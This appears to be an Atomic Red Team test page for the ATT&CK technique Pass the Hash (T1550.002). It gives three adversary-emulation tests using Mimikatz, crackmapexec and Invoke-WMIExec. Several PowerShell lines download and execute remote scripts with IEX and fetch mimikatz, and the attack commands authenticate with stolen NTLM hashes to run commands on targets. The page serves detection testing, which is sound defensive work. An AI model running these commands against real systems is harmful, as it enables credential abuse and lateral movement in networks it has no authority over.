T1550.002 - Use Alternate Authentication Material: Pass the Hash

Description from ATT&CK (opens in a new tab)

Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.

When performing PtH, valid password hashes for the account being used are captured using a Credential Access (opens in a new tab) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform Pass the Ticket (opens in a new tab) attacks.(Citation: Stealthbits Overpass-the-Hash)

Atomic Tests

• Atomic Test #1 - Mimikatz Pass the Hash

• Atomic Test #2 - crackmapexec Pass the Hash

• Atomic Test #3 - Invoke-WMIExec Pass the Hash

Atomic Test #1 - Mimikatz Pass the Hash

Note: must dump hashes first Reference (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: ec23cef9-27d9-46e4-a68d-6f75f7b86908

Inputs:

Attack Commands: Run with command_prompt!

#{mimikatz_path} "sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}"

Dependencies: Run with powershell!

Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})

Check Prereq Commands:

$mimikatz_path = cmd /c echo #{mimikatz_path}
if (Test-Path $mimikatz_path) {exit 0} else {exit 1}

Get Prereq Commands:

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) 
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$mimikatz_exe = cmd /c echo #{mimikatz_path}
$basePath = Split-Path $mimikatz_exe | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath

Atomic Test #2 - crackmapexec Pass the Hash

command execute with crackmapexec

Supported Platforms: Windows

auto_generated_guid: eb05b028-16c8-4ad8-adea-6f5b219da9a9

Inputs:

Attack Commands: Run with command_prompt!

#{crackmapexec_exe} #{domain} -u #{user_name} -H #{ntlm} -x #{command}

Dependencies: Run with powershell!

Description: CrackMapExec executor must exist on disk at specified location (#{crackmapexec_exe})

Check Prereq Commands:

if(Test-Path #{crackmapexec_exe}) {exit 0} else {exit 1}

Get Prereq Commands:

Write-Host Automated installer not implemented yet, please install crackmapexec manually at this location: #{crackmapexec_exe}

Atomic Test #3 - Invoke-WMIExec Pass the Hash

Use Invoke-WMIExec to Pass the Hash Note: must dump hashes first Reference (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: f8757545-b00a-4e4e-8cfb-8cfb961ee713

Inputs:

Attack Commands: Run with powershell!

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/01ee90f934313acc7d09560902443c18694ed0eb/Invoke-WMIExec.ps1' -UseBasicParsing);Invoke-WMIExec -Target #{target} -Username #{user_name} -Hash #{ntlm} -Command #{command}